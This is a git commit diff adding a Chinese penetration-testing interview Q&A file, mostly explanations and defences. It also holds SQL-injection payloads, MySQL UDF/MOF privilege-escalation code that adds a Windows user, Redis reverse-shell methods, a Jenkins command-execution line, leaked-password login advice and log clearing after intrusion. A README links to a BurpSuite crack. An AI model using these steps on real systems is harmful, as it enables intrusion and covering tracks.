mirror of
https://github.com/Mr-xn/BurpSuite-collections.git
synced 2025-11-05 10:26:46 +00:00
uplaod
This commit is contained in:
commit
3d784b9f1e
@ -4,6 +4,7 @@
|
||||
|
||||
### burpsuite crack 破解: [传送门](./crack.md)
|
||||
|
||||
### [渗透测试面试问题2019版](渗透测试面试问题2019版.md)
|
||||
<details>
|
||||
|
||||
<summary>文件列表</summary>
|
||||
|
||||
389
渗透测试面试问题2019版.md
389
渗透测试面试问题2019版.md
@ -1,6 +1,126 @@
|
||||
## 思路流程
|
||||
- [ 思路流程](#head1)
|
||||
- [ 信息收集](#head2)
|
||||
- [ 漏洞挖掘](#head3)
|
||||
- [ 漏洞利用&权限提升](#head4)
|
||||
- [ 清除测试数据&输出报告](#head5)
|
||||
- [ 复测](#head6)
|
||||
- [ 问题](#head7)
|
||||
- [ 深信服一面:](#head8)
|
||||
- [ SQL注入防护](#head9)
|
||||
- [ 为什么参数化查询可以防止sql注入](#head10)
|
||||
- [ SQL头注入点](#head11)
|
||||
- [ 盲注是什么?怎么盲注?](#head12)
|
||||
- [ 宽字节注入产生原理以及根本原因](#head13)
|
||||
- [ 产生原理](#head14)
|
||||
- [ 在哪里编码](#head15)
|
||||
- [ 根本原因](#head16)
|
||||
- [ 解决办法](#head17)
|
||||
- [ sql里面只有update怎么利用](#head18)
|
||||
- [ sql如何写shell/单引号被过滤怎么办](#head19)
|
||||
- [ 代替空格的方法](#head20)
|
||||
- [ mysql的网站注入,5.0以上和5.0以下有什么区别?](#head21)
|
||||
- [ XSS](#head22)
|
||||
- [ XSS原理](#head23)
|
||||
- [ 反射型](#head24)
|
||||
- [ 储存型](#head25)
|
||||
- [ DOM型](#head26)
|
||||
- [ DOM型和反射型的区别](#head27)
|
||||
- [DOM型XSS 自动化测试或人工测试](#head28)
|
||||
- [ 如何快速发现xss位置](#head29)
|
||||
- [ 对于XSS怎么修补建议](#head30)
|
||||
- [ XSS蠕虫的产生条件](#head31)
|
||||
- [ CSRF](#head32)
|
||||
- [ CSRF原理](#head33)
|
||||
- [ 防御](#head34)
|
||||
- [ token和referer做横向对比,谁安全等级高?](#head35)
|
||||
- [ 对referer的验证,从什么角度去做?如果做,怎么杜绝问题](#head36)
|
||||
- [ 针对token,对token测试会注意哪方面内容,会对token的哪方面进行测试?](#head37)
|
||||
- [ SSRF](#head38)
|
||||
- [ 检测](#head39)
|
||||
- [SSRF漏洞的成因 防御 绕过](#head40)
|
||||
- [ 上传](#head41)
|
||||
- [ 文件上传漏洞原理](#head42)
|
||||
- [ 常见的上传绕过方式](#head43)
|
||||
- [ 防护](#head44)
|
||||
- [ 审查上传点的元素有什么意义?](#head45)
|
||||
- [ 文件包含](#head46)
|
||||
- [ 原理](#head47)
|
||||
- [ 导致文件包含的函数](#head48)
|
||||
- [ 本地文件包含](#head49)
|
||||
- [ XXE](#head50)
|
||||
- [ 逻辑漏洞](#head51)
|
||||
- [ 金融行业常见逻辑漏洞](#head52)
|
||||
- [ 溢出](#head53)
|
||||
- [ 中间人攻击](#head54)
|
||||
- [ ARP欺骗](#head55)
|
||||
- [ 原理:](#head56)
|
||||
- [ 防护](#head57)
|
||||
- [ DDOS](#head58)
|
||||
- [ Ddos原理](#head59)
|
||||
- [ syn洪流的原理](#head60)
|
||||
- [ CC攻击原理](#head61)
|
||||
- [ DDOS防护](#head62)
|
||||
- [ 提权](#head63)
|
||||
- [ mysql两种提权方式](#head64)
|
||||
- [ Mysql_UDF提权](#head65)
|
||||
- [Mysql mof提权](#head66)
|
||||
- [ 特殊漏洞](#head67)
|
||||
- [ Struts2-045](#head68)
|
||||
- [ Redis未授权访问](#head69)
|
||||
- [ 产生原因](#head70)
|
||||
- [ 利用条件和方法](#head71)
|
||||
- [ 修复](#head72)
|
||||
- [ Jenkins未授权访问](#head73)
|
||||
- [ MongoDB未授权访问](#head74)
|
||||
- [ 防护](#head75)
|
||||
- [ Memcache未授权访问](#head76)
|
||||
- [ 利用](#head77)
|
||||
- [ 漏洞加固](#head78)
|
||||
- [FFMPEG 本地文件读取漏洞](#head79)
|
||||
- [ 原理](#head80)
|
||||
- [ 安全知识](#head81)
|
||||
- [ WEB](#head82)
|
||||
- [ 常用WEB开发JAVA框架](#head83)
|
||||
- [ 同源策略](#head84)
|
||||
- [ Jsonp安全攻防技术,怎么写Jsonp的攻击页面?](#head85)
|
||||
- [ 涉及到Jsonp的安全攻防内容](#head86)
|
||||
- [ 攻击页面](#head87)
|
||||
- [ PHP](#head88)
|
||||
- [ php中命令执行涉及到的函数](#head89)
|
||||
- [安全模式下绕过php的disable fuction](#head90)
|
||||
- [ PHP弱类型](#head91)
|
||||
- [ 数据库](#head92)
|
||||
- [ 各种数据库文件存放的位置](#head93)
|
||||
- [ 系统](#head94)
|
||||
- [ 如何清理日志](#head95)
|
||||
- [入侵 Linux 服务器后需要清除哪些日志?](#head96)
|
||||
- [ LINUX](#head97)
|
||||
- [查看当前端口连接的命令有哪些?`netstat` 和 `ss` 命令的区别和优缺点](#head98)
|
||||
- [反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么?](#head99)
|
||||
- [通过Linux系统的/proc目录 ,能够获取到哪些信息,这些信息可以在安全上有哪些应用?](#head100)
|
||||
- [ linux系统中,检测哪些配置文件的配置项,能够提升SSH的安全性。](#head101)
|
||||
- [ 如何一条命令查看文件内容最后一百行](#head102)
|
||||
- [ Windows](#head103)
|
||||
- [ 如何加固一个域环境下的Windows桌面工作环境?请给出你的思路。](#head104)
|
||||
- [ 密码学](#head105)
|
||||
- [ AES/DES的具体工作步骤](#head106)
|
||||
- [ RSA算法](#head107)
|
||||
- [ 分组密码的加密模式](#head108)
|
||||
- [ 如何生成一个安全的随机数?](#head109)
|
||||
- [ SSL握手过程](#head110)
|
||||
- [ 对称加密与非对称加密的不同,分别用在哪些方面](#head111)
|
||||
- [ TCP/IP](#head112)
|
||||
- [ TCP三次握手的过程以及对应的状态转换](#head113)
|
||||
- [ TCP和UDP协议区别](#head114)
|
||||
- [ https的建立过程](#head115)
|
||||
- [ 流量分析](#head116)
|
||||
- [ wireshark简单的过滤规则](#head117)
|
||||
- [ 防火墙](#head118)
|
||||
- [ 简述路由器交换机、防火墙等网络设备常用的几个基础配置加固项,以及配置方法。](#head119)
|
||||
|
||||
### 信息收集
|
||||
## <span id="head1"> 思路流程</span>
|
||||
|
||||
### <span id="head2"> 信息收集</span>
|
||||
|
||||
1. 服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等)
|
||||
2. 网站指纹识别(包括,cms,cdn,证书等),dns记录
|
||||
@ -10,47 +130,52 @@
|
||||
6. 扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等
|
||||
7. 传输协议,通用漏洞,exp,github源码等
|
||||
|
||||
### 漏洞挖掘
|
||||
### <span id="head3"> 漏洞挖掘</span>
|
||||
|
||||
1. 浏览网站,看看网站规模,功能,特点等
|
||||
2. 端口,弱口令,目录等扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。
|
||||
3. XSS,SQL注入,上传,命令注入,CSRF,cookie安全检测,敏感信息,通信数据传输,暴力破解,任意文件上传,越权访问,未授权访问,目录遍历,文件 包含,重放攻击(短信轰炸),服务器漏洞检测,最后使用漏扫工具等
|
||||
|
||||
### 漏洞利用 | 权限提升
|
||||
### <span id="head4"> 漏洞利用&权限提升</span>
|
||||
|
||||
- mysql提权,serv-u提权,oracle提权
|
||||
- windows 溢出提权
|
||||
- linux脏牛,内核漏洞提权e
|
||||
|
||||
### 清除测试数据 | 输出报告
|
||||
### <span id="head5"> 清除测试数据&输出报告</span>
|
||||
|
||||
i 日志、测试数据的清理
|
||||
ii 总结,输出渗透测试报告,附修复方案
|
||||
|
||||
### 复测
|
||||
### <span id="head6"> 复测</span>
|
||||
|
||||
验证并发现是否有新漏洞,输出报告,归档
|
||||
|
||||
# 问题
|
||||
## <span id="head7"> 问题</span>
|
||||
|
||||
**1.拿到一个待检测的站,你觉得应该先做什么?**
|
||||
|
||||
1) 信息收集
|
||||
1,获取域名的whois信息,获取注册者邮箱姓名电话等,丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。 用邮箱做关键词进行丢进搜索引擎。 利用搜索到的关联信息找出其他邮箱进而得到常用社交账号。 社工找出社交账号,里面或许会找出管理员设置密码的习惯 。 利用已有信息生成专用字典。
|
||||
2,查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。
|
||||
3,查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞
|
||||
4,查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。
|
||||
5,扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针
|
||||
6,google hack 进一步探测网站的信息,后台,敏感文件
|
||||
2)漏洞扫描
|
||||
1. 获取域名的whois信息,获取注册者邮箱姓名电话等,丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。 用邮箱做关键词进行丢进搜索引擎。 利用搜索到的关联信息找出其他邮箱进而得到常用社交账号。 社工找出社交账号,里面或许会找出管理员设置密码的习惯 。 利用已有信息生成专用字典。
|
||||
2. 查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。
|
||||
3. 查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞
|
||||
4. 查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。
|
||||
5. 扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针
|
||||
6. google hack 进一步探测网站的信息,后台,敏感文件
|
||||
|
||||
2) 漏洞扫描
|
||||
开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,
|
||||
远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等
|
||||
3)漏洞利用
|
||||
|
||||
3) 漏洞利用
|
||||
利用以上的方式拿到webshell,或者其他权限
|
||||
4)权限提升
|
||||
|
||||
4) 权限提升
|
||||
提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,linux脏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权
|
||||
|
||||
5) 日志清理
|
||||
6)总结报告及修复方案
|
||||
|
||||
6) 总结报告及修复方案
|
||||
|
||||
|
||||
|
||||
@ -372,7 +497,7 @@ Connection:keep-alive
|
||||
3)延时注入
|
||||
4)宽字节注入
|
||||
**42、报错注入的函数有哪些? 10个**
|
||||
1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】----------------
|
||||
1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】
|
||||
2)通过floor报错 向下取整
|
||||
3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
|
||||
4).geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b));
|
||||
@ -564,7 +689,7 @@ aspx使用的是.net技术。IIS 中默认不支持,ASP只是脚本语言而
|
||||
50070,50030 hadoop默认端口未授权访问
|
||||
```
|
||||
|
||||
## 深信服一面:
|
||||
## <span id="head8"> 深信服一面:</span>
|
||||
|
||||
- 了解哪些漏洞
|
||||
- 文件上传有哪些防护方式
|
||||
@ -584,7 +709,7 @@ aspx使用的是.net技术。IIS 中默认不支持,ASP只是脚本语言而
|
||||
- 有没有抓过包,会不会写wireshark过滤规则
|
||||
- 清理日志要清理哪些
|
||||
|
||||
## SQL注入防护
|
||||
## <span id="head9"> SQL注入防护</span>
|
||||
|
||||
1、使用安全的API
|
||||
2、对输入的特殊字符进行Escape转义处理
|
||||
@ -593,7 +718,7 @@ aspx使用的是.net技术。IIS 中默认不支持,ASP只是脚本语言而
|
||||
5、服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。
|
||||
\6. 规范编码,字符集
|
||||
|
||||
## 为什么参数化查询可以防止sql注入
|
||||
## <span id="head10"> 为什么参数化查询可以防止sql注入</span>
|
||||
|
||||
原理:
|
||||
|
||||
@ -602,7 +727,7 @@ aspx使用的是.net技术。IIS 中默认不支持,ASP只是脚本语言而
|
||||
简单的说:
|
||||
参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑
|
||||
|
||||
## SQL头注入点
|
||||
## <span id="head11"> SQL头注入点</span>
|
||||
|
||||
```
|
||||
UA
|
||||
@ -611,28 +736,28 @@ COOKIE
|
||||
IP
|
||||
```
|
||||
|
||||
## 盲注是什么?怎么盲注?
|
||||
## <span id="head12"> 盲注是什么?怎么盲注?</span>
|
||||
|
||||
盲注是在SQL注入攻击过程中,服务器关闭了错误回显,我们单纯通过服务器返回内容的变化来判断是否存在SQL注入和利用的方式。盲注的手段有两种,一个是通过页面的返回内容是否正确(boolean-based),来验证是否存在注入。一个是通过sql语句处理时间的不同来判断是否存在注入(time-based),在这里,可以用benchmark,sleep等造成延时效果的函数,也可以通过构造大笛卡儿积的联合查询表来达到延时的目的。
|
||||
|
||||
## 宽字节注入产生原理以及根本原因
|
||||
## <span id="head13"> 宽字节注入产生原理以及根本原因</span>
|
||||
|
||||
### 产生原理
|
||||
### <span id="head14"> 产生原理</span>
|
||||
|
||||
在数据库使用了宽字符集而WEB中没考虑这个问题的情况下,在WEB层,由于0XBF27是两个字符,在PHP中比如addslash和magic_quotes_gpc开启时,由于会对0x27单引号进行转义,因此0xbf27会变成0xbf5c27,而数据进入数据库中时,由于0XBF5C是一个另外的字符,因此\转义符号会被前面的bf带着"吃掉",单引号由此逃逸出来可以用来闭合语句。
|
||||
|
||||
### 在哪里编码
|
||||
### <span id="head15"> 在哪里编码</span>
|
||||
|
||||
### 根本原因
|
||||
### <span id="head16"> 根本原因</span>
|
||||
|
||||
character_set_client(客户端的字符集)和character_set_connection(连接层的字符集)不同,或转换函数如,iconv、mb_convert_encoding使用不当。
|
||||
|
||||
### 解决办法
|
||||
### <span id="head17"> 解决办法</span>
|
||||
|
||||
统一数据库、Web应用、操作系统所使用的字符集,避免解析产生差异,最好都设置为UTF-8。
|
||||
或对数据进行正确的转义,如mysql_real_escape_string+mysql_set_charset的使用。
|
||||
|
||||
### sql里面只有update怎么利用
|
||||
### <span id="head18"> sql里面只有update怎么利用</span>
|
||||
|
||||
先理解这句 SQL
|
||||
|
||||
@ -667,7 +792,7 @@ UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$hom
|
||||
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
|
||||
```
|
||||
|
||||
## sql如何写shell/单引号被过滤怎么办
|
||||
## <span id="head19"> sql如何写shell/单引号被过滤怎么办</span>
|
||||
|
||||
写shell: root权限,GPC关闭,知道文件路径
|
||||
outfile函数
|
||||
@ -680,37 +805,37 @@ outfile函数
|
||||
|
||||
宽字节注入
|
||||
|
||||
### 代替空格的方法
|
||||
### <span id="head20"> 代替空格的方法</span>
|
||||
|
||||
%0a、%0b、%a0 等
|
||||
/**/ 等注释符
|
||||
<>
|
||||
|
||||
### mysql的网站注入,5.0以上和5.0以下有什么区别?
|
||||
### <span id="head21"> mysql的网站注入,5.0以上和5.0以下有什么区别?</span>
|
||||
|
||||
5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。
|
||||
|
||||
5.0以下是多用户单操作,5.0以上是多用户多操做。
|
||||
|
||||
# XSS
|
||||
# <span id="head22"> XSS</span>
|
||||
|
||||
## XSS原理
|
||||
## <span id="head23"> XSS原理</span>
|
||||
|
||||
### 反射型
|
||||
### <span id="head24"> 反射型</span>
|
||||
|
||||
用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。
|
||||
需要诱使用户“点击”一个恶意链接,才能攻击成功
|
||||
|
||||
### 储存型
|
||||
### <span id="head25"> 储存型</span>
|
||||
|
||||
存储型XSS会把用户输入的数据“存储”在服务器端。
|
||||
这种XSS具有很强的稳定性。
|
||||
|
||||
### DOM型
|
||||
### <span id="head26"> DOM型</span>
|
||||
|
||||
通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。
|
||||
|
||||
## DOM型和反射型的区别
|
||||
## <span id="head27"> DOM型和反射型的区别</span>
|
||||
|
||||
反射型XSS:通过诱导用户点击,我们构造好的恶意payload才会触发的XSS。
|
||||
反射型XSS的检测我们在每次请求带payload的链接时页面应该是会带有特定的畸形数据的。
|
||||
@ -718,16 +843,16 @@ DOM型:通过修改页面的DOM节点形成的XSS。
|
||||
DOM-based XSS由于是通过js代码进行dom操作产生的XSS,所以在请求的响应中我们甚至不一定会得到相应的畸形数据。
|
||||
根本区别在我看来是输出点的不同。
|
||||
|
||||
## DOM型XSS 自动化测试或人工测试
|
||||
## <span id="head28">DOM型XSS 自动化测试或人工测试</span>
|
||||
|
||||
人工测试思路:找到类似document.write、innerHTML赋值、outterHTML赋值、window.location操作、写javascript:后内容、eval、setTimeout 、setInterval 等直接执行之类的函数点。找到其变量,回溯变量来源观察是否可控,是否经过安全函数。
|
||||
自动化测试参看道哥的博客,思路是从输入入手,观察变量传递的过程,最终检查是否有在危险函数输出,中途是否有经过安全函数。但是这样就需要有一个javascript解析器,否则会漏掉一些通过js执行带入的部分内容。
|
||||
|
||||
在回答这段问题的时候,由于平时对客户的检测中,基本是凭借不同功能点的功能加上经验和直觉来进行检测,对不同类型的XSS检测方式实际上并没有太过细分的标准化检测方式,所以回答的很烂。。。
|
||||
|
||||
## 如何快速发现xss位置
|
||||
## <span id="head29"> 如何快速发现xss位置</span>
|
||||
|
||||
## 对于XSS怎么修补建议
|
||||
## <span id="head30"> 对于XSS怎么修补建议</span>
|
||||
|
||||
输入点检查:对用户输入的数据进行合法性检查,使用filter过滤敏感字符或对进行编码转义,针对特定类型数据进行格式检查。针对输入点的检查最好放在服务器端实现。
|
||||
|
||||
@ -736,32 +861,32 @@ DOM-based XSS由于是通过js代码进行dom操作产生的XSS,所以在请
|
||||
|
||||
除此之外,还有做HTTPOnly对Cookie劫持做限制。
|
||||
|
||||
## XSS蠕虫的产生条件
|
||||
## <span id="head31"> XSS蠕虫的产生条件</span>
|
||||
|
||||
正常情况下,一个是产生XSS点的页面不属于self页面,用户之间产生交互行为的页面,都可能造成XSS Worm的产生。**不一定需要**存储型XSS
|
||||
|
||||
# CSRF
|
||||
# <span id="head32"> CSRF</span>
|
||||
|
||||
## CSRF原理
|
||||
## <span id="head33"> CSRF原理</span>
|
||||
|
||||
CSRF是跨站请求伪造攻击,由客户端发起,是由于没有在关键操作执行时进行是否由用户自愿发起的确认
|
||||
|
||||
## 防御
|
||||
## <span id="head34"> 防御</span>
|
||||
|
||||
- 验证Referer
|
||||
- 添加token
|
||||
|
||||
## token和referer做横向对比,谁安全等级高?
|
||||
## <span id="head35"> token和referer做横向对比,谁安全等级高?</span>
|
||||
|
||||
token安全等级更高,因为并不是任何服务器都可以取得referer,如果从HTTPS跳到HTTP,也不会发送referer。并且FLASH一些版本中可以自定义referer。
|
||||
但是token的话,要保证其足够随机且不可泄露。(不可预测性原则)
|
||||
|
||||
## 对referer的验证,从什么角度去做?如果做,怎么杜绝问题
|
||||
## <span id="head36"> 对referer的验证,从什么角度去做?如果做,怎么杜绝问题</span>
|
||||
|
||||
对header中的referer的验证,一个是空referer,一个是referer过滤或者检测不完善。
|
||||
为了杜绝这种问题,在验证的白名单中,正则规则应当写完善。
|
||||
|
||||
## 针对token,对token测试会注意哪方面内容,会对token的哪方面进行测试?
|
||||
## <span id="head37"> 针对token,对token测试会注意哪方面内容,会对token的哪方面进行测试?</span>
|
||||
|
||||
引用一段请教前辈的回答:
|
||||
|
||||
@ -772,13 +897,13 @@ token安全等级更高,因为并不是任何服务器都可以取得referer
|
||||
另外也可以结合着其它业务来描述token的安全性及设计不好怎么被绕过比如抢红包业务之类的
|
||||
```
|
||||
|
||||
# SSRF
|
||||
# <span id="head38"> SSRF</span>
|
||||
|
||||
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
|
||||
|
||||
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
|
||||
|
||||
## 检测
|
||||
## <span id="head39"> 检测</span>
|
||||
|
||||
SSRF漏洞的验证方法:
|
||||
|
||||
@ -786,66 +911,66 @@ SSRF漏洞的验证方法:
|
||||
|
||||
2)在页面源码中查找访问的资源地址 ,如果该资源地址类型为 [www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞 4](http://www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞)
|
||||
|
||||
## SSRF漏洞的成因 防御 绕过
|
||||
## <span id="head40">SSRF漏洞的成因 防御 绕过</span>
|
||||
|
||||
成因:模拟服务器对其他服务器资源进行请求,没有做合法性验证。
|
||||
利用:构造恶意内网IP做探测,或者使用其余所支持的协议对其余服务进行攻击。
|
||||
防御:禁止跳转,限制协议,内外网限制,URL限制。
|
||||
绕过:使用不同协议,针对IP,IP格式的绕过,针对URL,恶意URL增添其他字符,@之类的。301跳转+dns rebindding。
|
||||
|
||||
# 上传
|
||||
# <span id="head41"> 上传</span>
|
||||
|
||||
## 文件上传漏洞原理
|
||||
## <span id="head42"> 文件上传漏洞原理</span>
|
||||
|
||||
由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件
|
||||
|
||||
## 常见的上传绕过方式
|
||||
## <span id="head43"> 常见的上传绕过方式</span>
|
||||
|
||||
- 前端js验证:禁用js/burp改包
|
||||
- 大小写
|
||||
- 双重后缀名
|
||||
- 过滤绕过 pphphp->php
|
||||
|
||||
## 防护
|
||||
## <span id="head44"> 防护</span>
|
||||
|
||||
- 文件上传目录设置为不可执行
|
||||
- 使用白名单判断文件上传类型
|
||||
- 用随机数改写文件名和路径
|
||||
|
||||
## 审查上传点的元素有什么意义?
|
||||
## <span id="head45"> 审查上传点的元素有什么意义?</span>
|
||||
|
||||
有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。
|
||||
|
||||
# 文件包含
|
||||
# <span id="head46"> 文件包含</span>
|
||||
|
||||
## 原理
|
||||
## <span id="head47"> 原理</span>
|
||||
|
||||
引入一段用户能控制的脚本或代码,并让服务器端执行
|
||||
(1)include()等函数通过动态变量的方式引入需要包含的文件;
|
||||
(2)用户能够控制该动态变量。
|
||||
|
||||
## 导致文件包含的函数
|
||||
## <span id="head48"> 导致文件包含的函数</span>
|
||||
|
||||
PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfile(), …
|
||||
JSP/Servlet:ava.io.File(), java.io.Fil-eReader(), …
|
||||
ASP:include file, include virtual,
|
||||
|
||||
## 本地文件包含
|
||||
## <span id="head49"> 本地文件包含</span>
|
||||
|
||||
能够打开并包含本地文件的漏洞,被称为本地文件包含漏洞
|
||||
|
||||
# XXE
|
||||
# <span id="head50"> XXE</span>
|
||||
|
||||
# 逻辑漏洞
|
||||
# <span id="head51"> 逻辑漏洞</span>
|
||||
|
||||
## 金融行业常见逻辑漏洞
|
||||
## <span id="head52"> 金融行业常见逻辑漏洞</span>
|
||||
|
||||
单针对金融业务的
|
||||
主要是数据的篡改(涉及金融数据,或部分业务的判断数据),由竞争条件或者设计不当引起的薅羊毛,交易/订单信息泄露,水平越权对别人的账户查看或恶意操作,交易或业务步骤绕过。
|
||||
|
||||
# 溢出
|
||||
# <span id="head53"> 溢出</span>
|
||||
|
||||
# 中间人攻击
|
||||
# <span id="head54"> 中间人攻击</span>
|
||||
|
||||
中间人攻击是一个(缺乏)相互认证的攻击;由于客户端与服务器之间在SSL握手的过程中缺乏相互认证而造成的漏洞
|
||||
|
||||
@ -860,14 +985,14 @@ ASP:include file, include virtual,
|
||||
|
||||
3.使用其他形式的密钥交换形式
|
||||
|
||||
## ARP欺骗
|
||||
## <span id="head55"> ARP欺骗</span>
|
||||
|
||||
### 原理:
|
||||
### <span id="head56"> 原理:</span>
|
||||
|
||||
每台主机都有一个ARP缓存表,缓存表中记录了IP地址与MAC地址的对应关系,而局域网数据传输依靠的是MAC地址。
|
||||
在ARP缓存表机制存在一个缺陷,就是当请求主机收到ARP应答包后,不会去验证自己是否向对方主机发送过ARP请求包,就直接把这个返回包中的IP地址与MAC地址的对应关系保存进ARP缓存表中,如果原有相同IP对应关系,原有的则会被替换。这样攻击者就有了偷听主机传输的数据的可能
|
||||
|
||||
### 防护
|
||||
### <span id="head57"> 防护</span>
|
||||
|
||||
1.在主机绑定网关MAC与IP地址为静态(默认为动态),命令:arp -s 网关IP 网关MAC
|
||||
|
||||
@ -875,31 +1000,31 @@ ASP:include file, include virtual,
|
||||
|
||||
3.使用ARP防火墙
|
||||
|
||||
# DDOS
|
||||
# <span id="head58"> DDOS</span>
|
||||
|
||||
## Ddos原理
|
||||
## <span id="head59"> Ddos原理</span>
|
||||
|
||||
利用合理的请求造成资源过载,导致服务不可用
|
||||
|
||||
### syn洪流的原理
|
||||
### <span id="head60"> syn洪流的原理</span>
|
||||
|
||||
伪造大量的源IP地址,分别向服务器端发送大量的SYN包,此时服务器端会返回SYN/ACK包,因为源地址是伪造的,所以伪造的IP并不会应答,服务器端没有收到伪造IP的回应,会重试3~5次并且等待一个SYNTime(一般为30秒至2分钟),如果超时则丢弃这个连接。攻击者大量发送这种伪造源地址的SYN请求,服务器端将会消耗非常多的资源(CPU和内存)来处理这种半连接,同时还要不断地对这些IP进行SYN+ACK重试。最后的结果是服务器无暇理睬正常的连接请求,导致拒绝服务。
|
||||
|
||||
### CC攻击原理
|
||||
### <span id="head61"> CC攻击原理</span>
|
||||
|
||||
对一些消耗资源较大的应用页面不断发起正常的请求,以达到消耗服务端资源的目的。
|
||||
|
||||
## DDOS防护
|
||||
## <span id="head62"> DDOS防护</span>
|
||||
|
||||
SYN Cookie/SYN Proxy、safereset等算法。SYN Cookie的主要思想是为每一个IP地址分配一个“Cookie”,并统计每个IP地址的访问频率。如果在短时间内收到大量的来自同一个IP地址的数据包,则认为受到攻击,之后来自这个IP地址的包将被丢弃。
|
||||
|
||||
# 提权
|
||||
# <span id="head63"> 提权</span>
|
||||
|
||||
## mysql两种提权方式
|
||||
## <span id="head64"> mysql两种提权方式</span>
|
||||
|
||||
udf提权,mof提权
|
||||
|
||||
### Mysql_UDF提权
|
||||
### <span id="head65"> Mysql_UDF提权</span>
|
||||
|
||||
要求:
|
||||
1.目标系统是Windows(Win2000,XP,Win2003);
|
||||
@ -924,7 +1049,7 @@ drop function cmdshell;
|
||||
|
||||
该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。
|
||||
|
||||
### Mysql mof提权
|
||||
### <span id="head66">Mysql mof提权</span>
|
||||
|
||||
```
|
||||
#pragma namespace("\\\\.\\root\\subscription")
|
||||
@ -964,17 +1089,17 @@ select load file('c:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem
|
||||
|
||||
执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。
|
||||
|
||||
# 特殊漏洞
|
||||
# <span id="head67"> 特殊漏洞</span>
|
||||
|
||||
## Struts2-045
|
||||
## <span id="head68"> Struts2-045</span>
|
||||
|
||||
## Redis未授权访问
|
||||
## <span id="head69"> Redis未授权访问</span>
|
||||
|
||||
### 产生原因
|
||||
### <span id="head70"> 产生原因</span>
|
||||
|
||||
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器
|
||||
|
||||
### 利用条件和方法
|
||||
### <span id="head71"> 利用条件和方法</span>
|
||||
|
||||
条件:
|
||||
|
||||
@ -989,23 +1114,23 @@ Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务
|
||||
- 通过crontab反弹shell
|
||||
- slave主从模式利用
|
||||
|
||||
### 修复
|
||||
### <span id="head72"> 修复</span>
|
||||
|
||||
- 密码验证
|
||||
- 降权运行
|
||||
- 限制ip/修改端口
|
||||
|
||||
## Jenkins未授权访问
|
||||
## <span id="head73"> Jenkins未授权访问</span>
|
||||
|
||||
攻击者通过未授权访问进入脚本命令执行界面执行攻击指令
|
||||
|
||||
`println "ifconfig -a".execute().text` 执行一些系统命令,利用wget下载webshell
|
||||
|
||||
## MongoDB未授权访问
|
||||
## <span id="head74"> MongoDB未授权访问</span>
|
||||
|
||||
开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,而且可以远程访问数据库,登录的用户可以通过默认端口无需密码对数据库进行增、删、改、查等任意高危操作。
|
||||
|
||||
### 防护
|
||||
### <span id="head75"> 防护</span>
|
||||
|
||||
1、为MongoDB添加认证:
|
||||
1)MongoDB启动时添加–auth参数
|
||||
@ -1021,33 +1146,33 @@ MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6以后这些
|
||||
或在/etc/mongodb.conf文件中添加以下内容:
|
||||
bind_ip = 127.0.0.1
|
||||
|
||||
## Memcache未授权访问
|
||||
